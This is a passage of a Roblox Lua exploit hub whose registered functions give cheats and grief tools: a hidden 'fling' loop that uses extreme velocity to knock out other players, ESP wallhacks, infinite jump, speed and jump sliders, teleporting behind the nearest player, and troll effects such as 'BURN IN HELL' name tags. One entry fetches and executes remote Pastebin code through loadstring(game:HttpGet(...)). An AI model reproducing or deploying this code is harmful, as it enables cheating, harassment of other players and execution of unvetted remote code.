Six.Face = "Bottom" end exPro(v) end end local function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(game.Workspace) asdf(game.Workspace) local s = Instance.new("Sky") s.Name = "Sky" s.Parent = game.Lighting local skyboxID = 8408806737 s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID game.Lighting.TimeOfDay = 12 for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end while true do game.Lighting.Ambient = Color3.new(math.random() , math.random() , math.random()) wait(0.2) game.Lighting.ShadowColor = Color3.new(math.random() , math.random() , math.random()) wait(0.2) end end, "Troll", "NOT FE") FunctionManager:register("JOHN DOE", function() local redSkyboxAssetId = "rbxassetid://1012887" local sky = Lighting:FindFirstChildOfClass("Sky") if not sky then sky = Instance.new("Sky", Lighting) end sky.SkyboxBk = redSkyboxAssetId sky.SkyboxDn = redSkyboxAssetId sky.SkyboxFt = redSkyboxAssetId sky.SkyboxLf = redSkyboxAssetId sky.SkyboxRt = redSkyboxAssetId sky.SkyboxUp = redSkyboxAssetId if not ReplicatedStorage:FindFirstChild("juisdfj0i32i0eidsuf0iok") then local detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = ReplicatedStorage end local screenGui = Instance.new("ScreenGui") screenGui.Name = "PersistentSoundGui" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local button = Instance.new("TextButton") button.Size = UDim2.new(0, 150, 0, 50) button.Position = UDim2.new(0.02, 0, 0.477, 0) button.Text = "Sound Toggle" button.Font = Enum.Font.SourceSansBold button.TextSize = 20 button.BackgroundColor3 = Color3.fromRGB(50, 50, 50) button.TextColor3 = Color3.new(1, 1, 1) button.Parent = screenGui local backgroundSound = SoundService:FindFirstChild("PersistentBGSound") if not backgroundSound then backgroundSound = Instance.new("Sound") backgroundSound.Name = "PersistentBGSound" backgroundSound.SoundId = "rbxassetid://19094700" backgroundSound.PlaybackSpeed = 0.221 backgroundSound.Looped = true backgroundSound.Volume = 1 backgroundSound.Parent = SoundService backgroundSound:Play() end button.Activated:Connect(function() backgroundSound.Playing = not backgroundSound.Playing end) local function setupCharacter(character) local humanoid = character:WaitForChild("Humanoid") local torso = character:WaitForChild("Torso") local hrp = character:WaitForChild("HumanoidRootPart") local tool = Instance.new("Tool") tool.Name = "Slash" tool.RequiresHandle = false tool.Parent = player.Backpack tool.Activated:Connect(function() local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://186934658" local track = humanoid:LoadAnimation(animation) track:Play() track:AdjustSpeed(2) local s = Instance.new("Sound", torso) s.SoundId = "rbxassetid://28144425" s:Play() task.wait(0.2) local s2 = Instance.new("Sound", torso) s2.SoundId = "rbxassetid://429400881" s2.Volume = 0.2 s2:Play() end) local naeeym = Instance.new("BillboardGui", character) naeeym.Size = UDim2.new(0, 100, 0, 40) naeeym.StudsOffset = Vector3.new(0, 2, 0) naeeym.Adornee = character:WaitForChild("Head") local tecks = Instance.new("TextLabel", naeeym) tecks.BackgroundTransparency = 1 tecks.BorderSizePixel = 0 tecks.Font = Enum.Font.Fantasy tecks.TextSize = 24 tecks.TextStrokeTransparency = 0 tecks.TextStrokeColor3 = Color3.new(0, 0, 0) tecks.TextColor3 = Color3.new(0, 0, 0) tecks.Size = UDim2.new(1, 0, 0.5, 0) tecks.Text = "John Doe" local function changeName(newName) tecks.Text = newName end local function shakeTag() local originalOffset = naeeym.StudsOffset for _ = 1, 10 do naeeym.StudsOffset = originalOffset + Vector3.new(math.random(-1,1), math.random(-1,1), math.random(-1,1)) task.wait(0.05) end naeeym.StudsOffset = originalOffset end coroutine.wrap(function() while character:IsDescendantOf(workspace) do changeName("BURN IN HELL") shakeTag() task.wait(0.2) changeName("STOP") task.wait(0.1) changeName("JUST GIVE UP") shakeTag() task.wait(0.2) changeName("STOP") shakeTag() task.wait(0.2) changeName("JOHN DOE") shakeTag() task.wait(0.3) changeName("HOPELESS") shakeTag() task.wait(0.3) end end)() local footPartSize = Vector3.new(10, 0.5, 10) local floorPartColor = BrickColor.Black() local floorMaterial = Enum.Material.Neon local yOffset = -2.8 local lastPosition = hrp.Position local standingTimer = 0 RunService.Heartbeat:Connect(function(dt) if not character:IsDescendantOf(workspace) then return end local currentPosition = hrp.Position standingTimer += dt local distanceMoved = (currentPosition - lastPosition).Magnitude local stepPosition = Vector3.new(currentPosition.X, hrp.Position.Y + yOffset, currentPosition.Z) local function createFootstep(position) local part = Instance.new("Part") part.Size = footPartSize part.Position = position part.Anchored = true part.CanCollide = false part.BrickColor = floorPartColor part.Material = floorMaterial part.Transparency = 0.5 part.Parent = workspace task.spawn(function() for i = 1, 10 do part.Transparency = i * 0.03 task.wait(0.05) end end) Debris:AddItem(part, 1) end if distanceMoved > 1 then createFootstep(stepPosition) lastPosition = currentPosition standingTimer = 0 elseif standingTimer > 0.5 then createFootstep(stepPosition) standingTimer = 0 end end) local movel = 0.1 local hiddenfling = true local function fling() while hiddenfling and character:IsDescendantOf(workspace) do if hrp then local originalVelocity = hrp.Velocity hrp.Velocity = originalVelocity * 10000 + Vector3.new(0, 10000, 0) RunService.RenderStepped:Wait() hrp.Velocity = originalVelocity RunService.Stepped:Wait() hrp.Velocity = originalVelocity + Vector3.new(0, movel, 0) movel = -movel end RunService.Heartbeat:Wait() end end coroutine.wrap(fling)() end player.CharacterAdded:Connect(setupCharacter) if player.Character then setupCharacter(player.Character) end local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local player = Players.LocalPlayer local mouse = player:GetMouse() local function teleportToMousePosition() local character = player.Character if not character or not character:FindFirstChild("HumanoidRootPart") then return end local target = mouse.Hit if target then character:MoveTo(target.Position) end end UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.KeyCode == Enum.KeyCode.T then teleportToMousePosition() end end) end, "Trolling", "BROKEN") FunctionManager:register("Invis gui", function() loadstring(game:HttpGet('https://pastebin.com/raw/3Rnd9rHf'))() end, "Trolling", "Credits to the original maker!") FunctionManager:register("DANCE", function() local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://27789359" local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(anim) track:Play() end, "Fun", "DANCE DANCE") FunctionManager:register("Sound GUI", function() local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("SoundGui") if gui then gui:Destroy() return end local SoundGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local AddSoundId = Instance.new("TextButton") local SoundIds = Instance.new("TextBox") local Default = Instance.new("TextButton") local Credits = Instance.new("TextLabel") local Title = Instance.new("TextLabel") local Swap = Instance.new("ImageButton") local PlayBackSpeed = Instance.new("TextBox") local Volume = Instance.new("TextBox") local Looped = Instance.new("TextBox") local Exit = Instance.new("ImageButton") local Frame2 = Instance.new("Frame") local Open = Instance.new("ImageButton") local spoky = Instance.new("Sound") local c00lflag = Instance.new("Sound") local drag = Instance.new("UIDragDetector") drag.Parent = Frame c00lflag.Name = "c00lsound23sas" c00lflag.Parent = Frame spoky.Parent = Frame spoky.SoundId = "rbxassetid://95156028272944" spoky.Volume = 3 spoky.PlaybackSpeed = 0.2 spoky.Name = "spoky" --Properties: SoundGui.Name = "SoundGui" SoundGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") SoundGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling SoundGui.ResetOnSpawn = false Frame.Parent = SoundGui Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.BorderColor3 = Color3.fromRGB(255, 0, 4) Frame.BorderSizePixel = 2 Frame.Position = UDim2.new(0, 700, 0, 300) Frame.Size = UDim2.new(0, 398, 0, 206) AddSoundId.Name = "AddSoundId" AddSoundId.Parent = Frame AddSoundId.BackgroundColor3 = Color3.fromRGB(0, 0, 0) AddSoundId.BorderColor3 = Color3.fromRGB(255, 0, 0) AddSoundId.BorderSizePixel = 2 AddSoundId.Position = UDim2.new(0.118090451, 0, 0.718446612, 0) AddSoundId.Size = UDim2.new(0, 307, 0, 36) AddSoundId.Font = Enum.Font.Arial AddSoundId.Text = "Add Sound!" AddSoundId.TextColor3 = Color3.fromRGB(255, 255, 255) AddSoundId.TextSize = 29.000 SoundIds.Name = "SoundIds" SoundIds.Parent = Frame SoundIds.BackgroundColor3 = Color3.fromRGB(0, 0, 0) SoundIds.BorderColor3 = Color3.fromRGB(255, 0, 0) SoundIds.BorderSizePixel = 2 SoundIds.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) SoundIds.Size = UDim2.new(0, 307, 0, 33) SoundIds.Font = Enum.Font.Arial SoundIds.PlaceholderText = "Add a sound ID here!, No rbx://" SoundIds.Text = "" SoundIds.TextColor3 = Color3.fromRGB(255, 255, 255) SoundIds.TextScaled = true SoundIds.TextSize = 14.000 SoundIds.TextWrapped = true Default.Name = "Default" Default.Parent = Frame Default.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Default.BorderColor3 = Color3.fromRGB(255, 0, 0) Default.BorderSizePixel = 2 Default.Position = UDim2.new(0.118090451, 0, 0.529126227, 0) Default.Size = UDim2.new(0, 307, 0, 28) Default.Font = Enum.Font.Arial Default.Text = "Spooky Scary Skeletons!" Default.TextColor3 = Color3.fromRGB(255, 255, 255) Default.TextSize = 23.000 Credits.Name = "Credits" Credits.Parent = Frame Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Credits.BackgroundTransparency = 1.000 Credits.BorderColor3 = Color3.fromRGB(0, 0, 0) Credits.BorderSizePixel = 0 Credits.Position = UDim2.new(0.577889442, 0, 0.9174757, 0) Credits.Size = UDim2.new(0, 153, 0, 17) Credits.Font = Enum.Font.SourceSans Credits.Text = "made by: 1known. On discord!" Credits.TextColor3 = Color3.fromRGB(255, 255, 255) Credits.TextSize = 14.000 Title.Name = "Title" Title.Parent = Frame Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Title.BackgroundTransparency = 1.000 Title.BorderColor3 = Color3.fromRGB(255, 0, 4) Title.BorderSizePixel = 2 Title.Position = UDim2.new(0.208542719, 0, 0.0291262139, 0) Title.Size = UDim2.new(0, 231, 0, 48) Title.Font = Enum.Font.Arial Title.Text = "c00lSound GUI!" Title.TextColor3 = Color3.fromRGB(255, 255, 255) Title.TextSize = 33.000 Title.TextWrapped = true Swap.Name = "Swap" Swap.Parent = Frame Swap.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Swap.BorderColor3 = Color3.fromRGB(255, 0, 0) Swap.BorderSizePixel = 0 Swap.Position = UDim2.new(0.904522598, 0, 0.33495146, 0) Swap.Size = UDim2.new(0, 23, 0, 21) Swap.Image = "rbxassetid://2500573769" PlayBackSpeed.Name = "PlayBackSpeed" PlayBackSpeed.Parent = Frame PlayBackSpeed.BackgroundColor3 = Color3.fromRGB(0, 0, 0) PlayBackSpeed.BorderColor3 = Color3.fromRGB(255, 0, 0) PlayBackSpeed.BorderSizePixel = 2 PlayBackSpeed.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) PlayBackSpeed.Size = UDim2.new(0, 307, 0, 33) PlayBackSpeed.Visible = false PlayBackSpeed.Font = Enum.Font.Arial PlayBackSpeed.PlaceholderText = "Playback speed, Enter a number!" PlayBackSpeed.Text = "1" PlayBackSpeed.TextColor3 = Color3.fromRGB(255, 255, 255) PlayBackSpeed.TextScaled = true PlayBackSpeed.TextSize = 14.000 PlayBackSpeed.TextWrapped = true Volume.Name = "Volume" Volume.Parent = Frame Volume.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Volume.BorderColor3 = Color3.fromRGB(255, 0, 0) Volume.BorderSizePixel = 2 Volume.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) Volume.Size = UDim2.new(0, 307, 0, 33) Volume.Visible = false Volume.Font = Enum.Font.Arial Volume.PlaceholderText = "Volume! Enter a number." Volume.Text = "0.5" Volume.TextColor3 = Color3.fromRGB(255, 255, 255) Volume.TextScaled = true Volume.TextSize = 14.000 Volume.TextWrapped = true Looped.Name = "Looped" Looped.Parent = Frame Looped.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Looped.BorderColor3 = Color3.fromRGB(255, 0, 0) Looped.BorderSizePixel = 2 Looped.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) Looped.Size = UDim2.new(0, 307, 0, 33) Looped.Visible = false Looped.Font = Enum.Font.Arial Looped.PlaceholderText = "Is it looped?, Type: False or True" Looped.Text = "False" Looped.TextColor3 = Color3.fromRGB(255, 255, 255) Looped.TextScaled = true Looped.TextSize = 14.000 Looped.TextWrapped = true Exit.Name = "Exit" Exit.Parent = Frame Exit.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Exit.BorderColor3 = Color3.fromRGB(255, 0, 0) Exit.BorderSizePixel = 2 Exit.Position = UDim2.new(0.921999991, 0, 0.0289999992, 0) Exit.Size = UDim2.new(0, 25, 0, 23) Exit.Image = "rbxassetid://14930908086" Frame2.Name = "Frame2" Frame2.Parent = SoundGui Frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame2.BorderColor3 = Color3.fromRGB(0, 0, 0) Frame2.BorderSizePixel = 0 Frame2.Position = UDim2.new(0.984443069, 0, 0.841666639, 0) Frame2.Size = UDim2.new(0, 25, 0, 23) Frame2.Visible = false Open.Name = "Open" Open.Parent = Frame2 Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Open.BorderColor3 = Color3.fromRGB(255, 0, 0) Open.BorderSizePixel = 2 Open.Position = UDim2.new(-0.0312646478, 0, -0.0113339629, 0) Open.Size = UDim2.new(0, 25, 0, 23) Open.Image = "rbxassetid://14930908086" -- Scripts: local function GSSVM_fake_script() -- AddSoundId.LocalScript local script = Instance.new('LocalScript', AddSoundId) local parent = script.Parent parent.Activated:Connect(function() local SoundId = parent.Parent:WaitForChild("SoundIds").Text local Playbackspeed = parent.Parent:WaitForChild("PlayBackSpeed").Text local Volume = parent.Parent:WaitForChild("Volume").Text local looped = parent.Parent:WaitForChild("Looped").Text if SoundId == "" then parent.Text = "No Sound ID!" wait(2) parent.Text = "Add Sound!" return end local id = "rbxassetid://" .. SoundId local speed = tonumber(Playbackspeed) or 1 local existingSound = game.Workspace:FindFirstChild("c00lsound23sas") if existingSound then existingSound.SoundId = id existingSound.PlaybackSpeed = speed existingSound.Volume = Volume if looped == "False" then existingSound.Looped = false elseif looped == "True" then existingSound.Looped = true else existingSound.Looped = false end existingSound:Play() else local clonedSound = parent.Parent.c00lsound23sas:Clone() clonedSound.Parent = game.Workspace clonedSound.SoundId = id clonedSound.PlaybackSpeed = speed clonedSound.Volume = Volume if looped == "False" then clonedSound.Looped = false elseif looped == "True" then clonedSound.Looped = true else clonedSound.Looped = false end clonedSound.Looped = looped clonedSound:Play() end parent.Text = "Injected Sound Succesfully!, Be sure to enter a correct ID if it doesnt work!" parent.TextScaled = true wait(3.5) parent.TextScaled = false parent.Text = "Add Sound!" end) end coroutine.wrap(GSSVM_fake_script)() local function MWUVEW_fake_script() -- Default.LocalScript local script = Instance.new('LocalScript', Default) local parent = script.Parent local sound = parent.Parent.spoky parent.Activated:Connect(function() if sound.Playing == true then sound.Playing = false else sound.Playing = true end end) end coroutine.wrap(MWUVEW_fake_script)() local function BIKZQ_fake_script() -- Swap.LocalScript local script = Instance.new('LocalScript', Swap) local parent = script.Parent local playback = parent.Parent.PlayBackSpeed local Sound = parent.Parent.SoundIds local volume = parent.Parent.Volume local looped = parent.Parent.Looped parent.Activated:Connect(function() if Sound.Visible == true then Sound.Visible = false playback.Visible = true volume.Visible = false looped.Visible = false elseif playback.Visible ==true then playback.Visible = false Sound.Visible = false volume.Visible = true looped.Visible = false elseif volume.Visible == true then Sound.Visible = false playback.Visible = false volume.Visible = false looped.Visible = true elseif looped.Visible == true then Sound.Visible = true playback.Visible = false volume.Visible = false looped.Visible = false end end) end coroutine.wrap(BIKZQ_fake_script)() local function AXYPXC_fake_script() -- Exit.LocalScript local script = Instance.new('LocalScript', Exit) local parent = script.Parent local main = parent.Parent parent.Activated:Connect(function() main.Parent.Frame2.Visible = true main.Visible = false end) end coroutine.wrap(AXYPXC_fake_script)() local function WHTXC_fake_script() -- Open.LocalScript local script = Instance.new('LocalScript', Open) local parent = script.Parent local main = parent.Parent.Parent.Frame parent.Activated:Connect(function() main.Visible = true parent.Parent.Visible = false end) end coroutine.wrap(WHTXC_fake_script)() end, "General", "NOT FE") FunctionManager:register("Bind Key", function() if bindFrame then return end local gui = Player:FindFirstChild("PlayerGui"):FindFirstChild(die) if not gui then NotifyERROR("Gui not found!"); return end screenGui = gui bindFrame = Instance.new("Frame") bindFrame.Name = generate_string(math_random(1, 10)) bindFrame.Size = UDim2.new(1,0,1,0) bindFrame.BackgroundColor3 = Color3.new(0,0,0) bindFrame.BackgroundTransparency = 0.5 bindFrame.ZIndex = 50 bindFrame.Parent = screenGui local panel = Instance.new("Frame") panel.Name = generate_string(math_random(1, 10)) panel.Size = UDim2.new(0, 300, 0, 400) panel.Position = UDim2.new(0.5, -150, 0.5, -200) panel.BackgroundColor3 = Color3.fromRGB(35,35,35) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = bindFrame local closeBtn = Instance.new("TextButton") closeBtn.Size = UDim2.new(0, 60, 0, 24) closeBtn.Position = UDim2.new(1, -64, 0, 4) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() bindFrame:Destroy() bindFrame = nil if bindConn then bindConn:Disconnect(); bindConn = nil end end) local title = Instance.new("TextLabel") title.Size = UDim2.new(1, -8, 0, 24) title.Position = UDim2.new(0, 4, 0, 4) title.BackgroundTransparency = 1 title.Font = Enum.Font.SourceSansBold title.TextSize = 18 title.TextColor3 = Color3.new(1,1,1) title.Text = "Bind Key to Function" title.ZIndex = 52 title.Parent = panel local list = Instance.new("ScrollingFrame") list.Size = UDim2.new(1, -8, 1, -40) list.Position = UDim2.new(0, 4, 0, 32) list.CanvasSize = UDim2.new(0,0,0,0) list.ScrollBarThickness = 6 list.ZIndex = 51 list.Parent = panel local uiList = Instance.new("UIListLayout") uiList.Padding = UDim.new(0,4) uiList.SortOrder = Enum.SortOrder.LayoutOrder uiList.Parent = list local function refreshList() for _, child in ipairs(list:GetChildren()) do if child:IsA("TextButton") or child:IsA("TextLabel") then child:Destroy() end end for _, cat in ipairs(FunctionManager.Categories) do local hdr = Instance.new("TextLabel") hdr.Size = UDim2.new(1,0,0,24) hdr.BackgroundTransparency = 1 hdr.Font = Enum.Font.SourceSansBold hdr.TextSize = 16 hdr.TextColor3 = Color3.new(1,1,0) hdr.Text = "["..cat.."]" hdr.ZIndex = 51 hdr.Parent = list for name, cb in pairs(FunctionManager:getFunctionsInCategory(cat)) do local btn = Instance.new("TextButton") btn.Size = UDim2.new(1,0,0,24) btn.Font = Enum.Font.SourceSans btn.TextSize = 14 btn.BackgroundColor3 = Color3.fromRGB(50,50,50) btn.TextColor3 = Color3.new(1,1,1) btn.ZIndex = 51 local bound = {} for key, fn in pairs(customBinds) do if fn == cb then table.insert(bound, tostring(key)) end end local suffix = #bound>0 and " ("..table.concat(bound, ",")..")" or "" btn.Text = name..suffix btn.Parent = list btn.MouseButton1Click:Connect(function() waitingBindFunction = { cb = cb, btn = btn, name = name } btn.Text = name.." → [Press a key]" end) end end list.CanvasSize = UDim2.new(0,0,0, uiList.AbsoluteContentSize.Y + 8) end bindConn = UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed or not waitingBindFunction then return end if input.UserInputType == Enum.UserInputType.Keyboard then customBinds[input.KeyCode] = waitingBindFunction.cb waitingBindFunction.btn.Text = waitingBindFunction.name.." ("..tostring(input.KeyCode)..")" waitingBindFunction = nil end end) refreshList() end, "Utility", "BUGGED") UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.UserInputType == Enum.UserInputType.Keyboard then local fn = customBinds[input.KeyCode] if fn and type(fn) == "function" then pcall(fn) end end end) FunctionManager:register("JumpUp", function() local char = Player.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") if hrp then hrp.Velocity = Vector3.new(0, 100, 0) end end, "Movement", "Leap into the air!") FunctionManager:register("Sit", function() local hum = Player.Character and Player.Character:FindFirstChildOfClass("Humanoid") if hum then hum.Sit = true end end, "Movement", "SIT DOWN") FunctionManager:register("INF JUMP", function() infJumpEnabled = not infJumpEnabled if infJumpEnabled then local debounce = false infJumpConnection = UserInputService.JumpRequest:Connect(function() if debounce then return end debounce = true local character = Player.Character local humanoid = character and character:FindFirstChildWhichIsA("Humanoid") if humanoid then humanoid:ChangeState(Enum.HumanoidStateType.Jumping) end task.wait() debounce = false end) else if infJumpConnection then infJumpConnection:Disconnect() infJumpConnection = nil end end end, "Movement", "Jump Forever!") FunctionManager:register("WalkSpeed Slider", function() if screenGui:FindFirstChild("WalkSpeedModal") then return end local overlay = Instance.new("Frame") overlay.Name = "WalkSpeedModal" overlay.Size = UDim2.new(1,0,1,0) overlay.Position = UDim2.new(0,0,0,0) overlay.BackgroundColor3 = Color3.new(0,0,0) overlay.BackgroundTransparency = 0.5 overlay.ZIndex = 50 overlay.Parent = screenGui local panel = Instance.new("Frame") panel.Name = "SliderPanel" panel.Size = UDim2.new(0, 300, 0, 100) panel.Position = UDim2.new(0.5, -150, 0.5, -50) panel.BackgroundColor3 = Color3.fromRGB(40,40,40) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = overlay local closeBtn = Instance.new("TextButton") closeBtn.Name = "Close" closeBtn.Size = UDim2.new(0,60,0,24) closeBtn.Position = UDim2.new(1,-64,0,4) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.Text = "Close" closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() overlay:Destroy() end) local label = Instance.new("TextLabel") label.Name = "ValueLabel" label.Size = UDim2.new(1,-8,0,24) label.Position = UDim2.new(0,4,0,4) label.BackgroundTransparency= 1 label.Font = Enum.Font.SourceSansBold label.TextSize = 18 label.TextColor3 = Color3.new(1,1,1) label.Text = "WalkSpeed: " .. tostring(Humanoid.WalkSpeed) label.ZIndex = 52 label.Parent = panel local track = Instance.new("Frame") track.Name = "Track" track.Size = UDim2.new(1,-16,0,20) track.Position = UDim2.new(0,8,0,40) track.BackgroundColor3 = Color3.fromRGB(60,60,60) track.BorderSizePixel = 0 track.ZIndex = 51 track.Parent = panel local fill = Instance.new("Frame") fill.Name = "Fill" fill.Size = UDim2.new( math.clamp((Humanoid.WalkSpeed - 8)/(100-8),0,1), 0, 1, 0 ) fill.BackgroundColor3 = Color3.fromRGB(100,200,100) fill.BorderSizePixel = 0 fill.ZIndex = 52 fill.Parent = track local dragging = false local minS, maxS = 8, 100 local function update(x) local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1) local v = math.floor(minS + (maxS-minS)*rel) Humanoid.WalkSpeed = v label.Text = "WalkSpeed: "..v fill.Size = UDim2.new(rel,0,1,0) end track.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true update(i.Position.X) end end) track.InputEnded:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end) UserInputService.InputChanged:Connect(function(i) if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then update(i.Position.X) end end) end, "Movement", "Control your walkspeed!") FunctionManager:register("Server Hop", function() local success, res = pcall(function() return game:HttpGet( "https://games.roblox.com/v1/games/" .. PlaceId .. "/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true" ) end) if not success then return NotifyERROR("[Server Hop] HTTP request failed") end local body local ok, err = pcall(function() body = HttpService:JSONDecode(res) end) if not ok or type(body) ~= "table" or type(body.data) ~= "table" then return NotifyERROR("[Server Hop] Invalid JSON response") end local servers = {} for _, v in ipairs(body.data) do if type(v) == "table" and tonumber(v.playing) and tonumber(v.maxPlayers) and v.playing < v.maxPlayers and v.id ~= JobId then table.insert(servers, v.id) end end if #servers == 0 then return NotifyERROR("[Server Hop] No available servers found") end local choice = servers[math.random(1, #servers)] TeleportService:TeleportToPlaceInstance(PlaceId, choice, Players.LocalPlayer) end, "Utility","Changes Servers") FunctionManager:register("TP Behind Closest", function() if not HRP then NotifyERROR("No HumanoidRootPart found.") return end local closestPlayer local shortestDistance = math.huge for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= Player and otherPlayer.Character then local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart") if otherRoot then local distance = (otherRoot.Position - HRP.Position).Magnitude if distance < shortestDistance then shortestDistance = distance closestPlayer = otherPlayer end end end end if closestPlayer and closestPlayer.Character then local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if targetRoot then local behindPosition = targetRoot.CFrame.Position - targetRoot.CFrame.LookVector * 3 local newCFrame = CFrame.new(behindPosition, targetRoot.Position) HRP.CFrame = newCFrame end else NotifyERROR("No nearby player found.") end end, "Movement", "Owai moi, shinderu. NANI?") FunctionManager:register("Scare Closest Player", function() if not HRP then NotifyERROR("Could not find your HumanoidRootPart.") return end local closestPlayer, closestDistance = nil, math.huge for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= Player and otherPlayer.Character then local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart") if otherRoot then local dist = (otherRoot.Position - HRP.Position).Magnitude if dist < closestDistance then closestDistance = dist closestPlayer = otherPlayer end end end end if closestPlayer and closestPlayer.Character then local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if targetRoot then local oldPos = HRP.CFrame HRP.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2 HRP.CFrame = CFrame.new(HRP.Position, targetRoot.Position) task.wait(0.5) HRP.CFrame = oldPos end else NotifyERROR("No target player nearby.") end end, "Fun", "FNAF reference") FunctionManager:register("ESP Toggle", function() espOn = not espOn for _, plr in ipairs(Players:GetPlayers()) do if plr.Character and plr ~= Player then local head = plr.Character:FindFirstChild("Head") if head then local bb = head:FindFirstChild("ESP") or Instance.new("BillboardGui", head) bb.Name = "ESP" bb.Size = UDim2.new(0,80,0,20) bb.AlwaysOnTop = true local lbl = bb:FindFirstChild("Name") or Instance.new("TextLabel", bb) lbl.Name = "Name" lbl.BackgroundTransparency = 1 lbl.Size = UDim2.new(1,0,1,0) lbl.TextColor3 = Color3.new(1,0,0) lbl.TextScaled = true lbl.Text = plr.Name bb.Enabled = espOn end end end Notify("ESP " .. (espOn and "Enabled" or "Disabled"), "SYSTEM", 3) end, "Visual", "ur cooked i just got wallhacks") FunctionManager:register("JumpPowerSlider", function() if screenGui:FindFirstChild("JumpPowerModal") then return end Humanoid.UseJumpPower = true local overlay = Instance.new("Frame") overlay.Name = "JumpPowerModal" overlay.Size = UDim2.new(1,0,1,0) overlay.Position = UDim2.new(0,0,0,0) overlay.BackgroundColor3 = Color3.new(0,0,0) overlay.BackgroundTransparency = 0.5 overlay.ZIndex = 50 overlay.Parent = screenGui local panel = Instance.new("Frame") panel.Name = "JumpPanel" panel.Size = UDim2.new(0, 300, 0, 100) panel.Position = UDim2.new(0.5, -150, 0.5, -50) panel.BackgroundColor3 = Color3.fromRGB(40,40,40) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = overlay local closeBtn = Instance.new("TextButton") closeBtn.Name = "Close" closeBtn.Size = UDim2.new(0,60,0,24) closeBtn.Position = UDim2.new(1,-64,0,4) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.Text = "Close" closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() overlay:Destroy() end) local label = Instance.new("TextLabel") label.Name = "ValueLabel" label.Size = UDim2.new(1,-8,0,24) label.Position = UDim2.new(0,4,0,4) label.BackgroundTransparency= 1 label.Font = Enum.Font.SourceSansBold label.TextSize = 18 label.TextColor3 = Color3.new(1,1,1) label.Text = "JumpPower: " .. tostring(Humanoid.JumpPower) label.ZIndex = 52 label.Parent = panel local track = Instance.new("Frame") track.Name = "Track" track.Size = UDim2.new(1,-16,0,20) track.Position = UDim2.new(0,8,0,40) track.BackgroundColor3 = Color3.fromRGB(60,60,60) track.BorderSizePixel = 0 track.ZIndex = 51 track.Parent = panel local fill = Instance.new("Frame") fill.Name = "Fill" fill.Size = UDim2.new( math.clamp((Humanoid.JumpPower - 50)/(200-50),0,1), 0, 1, 0 